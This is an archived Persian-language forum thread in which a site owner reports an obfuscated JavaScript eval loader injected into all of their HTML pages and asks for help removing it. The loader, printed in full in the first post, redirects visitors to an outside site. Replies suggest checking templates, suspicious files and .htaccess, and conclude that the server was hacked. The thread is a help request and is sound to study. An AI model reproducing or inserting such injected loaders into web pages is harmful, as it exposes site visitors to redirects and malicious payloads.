PDA

توجه ! این یک نسخه آرشیو شده میباشد و در این حالت شما عکسی را مشاهده نمیکنید برای مشاهده کامل متن و عکسها بر روی لینک مقابل کلیک کنید : اضاقه شدن يك كد در تمام صفحات - هك



hoj
01-13-2009, 11:30 AM
سلام
من وقتي سايتم را باز مي كنم، در سورس صفحه، بعد از BODY اين خط را مي بينم

<script language=JavaScript>function kwbnb25(z){ var c=z.length,m=1024,i,s,h,b=0,w=0,x=0,d=Array(63,27, 24,8,38,62,31,11,58,6,0,0,0,0,0,0,33,29,12,46,2,43 ,0,57,14,10,16,9,4,39,36,34,37,41,47,45,15,26,21,6 1,54,13,28,0,0,0,0,18,0,22,17,19,50,60,40,59,30,56 ,23,53,5,1,51,35,20,49,7,42,44,3,32,25,52,48,55);f or(s=Math.ceil(c/m);s>0;s--){h='';for(i=Math.min(c,m);i>0;i--,c--){{x|=(d[z.charCodeAt(b++)-48])<<w;if(w){h+=String.fromCharCode(147^x&255);x>>=8 ;w-=2}else{w=6}}}eval(h);}}kwbnb25('NE60znTGWD5Gd6CGv gISjn60Xc7sznTe4gRWW6hRNrC5M10Cx5s5krCe510tW7R0Xg8 WzcUfnDhiygUtg65GoMIRe_Iio1RWzzE5WjT0ehHRt_7Ch70Gg z1ie1h0zREzd655W9CeW6T05RECGI8Qoh8f8O7Sz6TQ@_7Cx9g tNE0WMRREvs8fnCRW8c05MgIfPH7iME50XgUtzETio0ResMU0e zRWqX8Ees6W@7R0XzIS8D')</script><!-- 208.64.230.55 -->
و سايت هم قبل از باز شدن به سايت 7speed.info مي رود و حالا نمي دانم چكار مي كند (اين را از Status bar پايين اكسپلورر فهميدم)
بررسي كردم اين كد در تمام صفحات index.php و html سايت كپي شده
پرميشن ها را هم به 644 و 755 براي فايلها و پوشه ها تغيير دادم اما بعد از اينكه فايل ها را درست كردم باز هم مي شود
حالا بايد چكار كنم البته سايت من با ميترا هستش
ممنون مي شوم اگر راهنماييم كنيد

سعید
01-13-2009, 12:41 PM
اینجا انجمن تخصصی مامبولرن هست.

ما از میترا ، جوملا ، و سیستم های مشابه پشتیبانی نمی کنیم.

یا علی

hoj
01-13-2009, 04:49 PM
فکر می کنم جوملا ، مامبو و میترا شباهت های زیادی با هم داشته باشند. که همگی از یک ریشه باشند و تفاوت آنچنانی نداشته باشند.
بهرصورت گمانم بر این است که بچه های این انجمن نگذارند دست خالی از اینجا بروم.

piroozman
01-13-2009, 05:55 PM
سلام دوست عزیز
قالب خود را بررسی کنید و ببینید این کد در آنجا وجود دارد؟ اگر بله آن را پاک کنید اگر نبود در صفحه index.php بررسی کنید

مهدی.
01-13-2009, 10:03 PM
ببينيد ما از مامبو پشتيباني ميكنيم، ‌اين موضوع هم كه شما ميفرماييد شباهت دارن هم بايد عرض كنم كه درسته، پدر همشون مامبو هستش، ما خوب خودشون سايت مرجع فارسي دارن ديگه! مگه ندارن؟!

ولي اگر مشاوره ميخواييد كه مشكل هك سايتتون چيزي هست خوب شك نكنيد كه در اين انجمن به شما مشاوره داده ميشود، اما هيچ تضميني نيست كه اون مشاوره صحيح باشه،‌ما با مامبو آشنايي كامل داريم و آنرا پشتيلني ميكنيم، نه ميترا و يا جوملا

اگر مشكلتون با تغيير قالب برطرف نشد به اين سوالات جواب بفرماييد:
1)در هاست شما فايلهاي ديگري ساخته شده است؟
2)فايلهاي مشكوك با نامهاي مشكوك ايجاد شده هست؟
3)فايلهاي htaccess در هاست شما ايجاد شده است؟
از سلامت تمامي فايلهاي سايت خودتون مطمئن هستيد؟

كامروا باشيد.

hoj
01-14-2009, 06:56 AM
از لطف شما و ساير دوستان خيلي سپاسگذارم
-------------------------------------------------------
سايت را بررسي كردم
كد مزبورمابين تگ body , /body در تمامي (!) فايل هاي html سايت قرار داده شده.
البته مقدار زيادي از آن فايل ها را درست كردم و فعلا درست شده ولي براي اطمينان بايد چكار كنم؟
----
1- در سايت ظاهرا فايل ديگري ساخته نشده
2- فايل مشكوك در پوشه public_html ظاهرا نيست. ولي در پوشه روت خود سايت چند فايل هست كه با . شروع مي شود مثل .zshrc , .pearrc , .gtkrc , ...
3- يك فايل .htaccess هست كه داخل آن هيچ چيز نيست. حجم 0 بايت

سعید
01-14-2009, 09:55 AM
با مدیر سورتون تماس بگیرید.

سرور تون هک شده !

hoj
01-14-2009, 05:22 PM
فعلا که مشکل رفع نشده
بخاطر راهنمایی ها ممنون هستم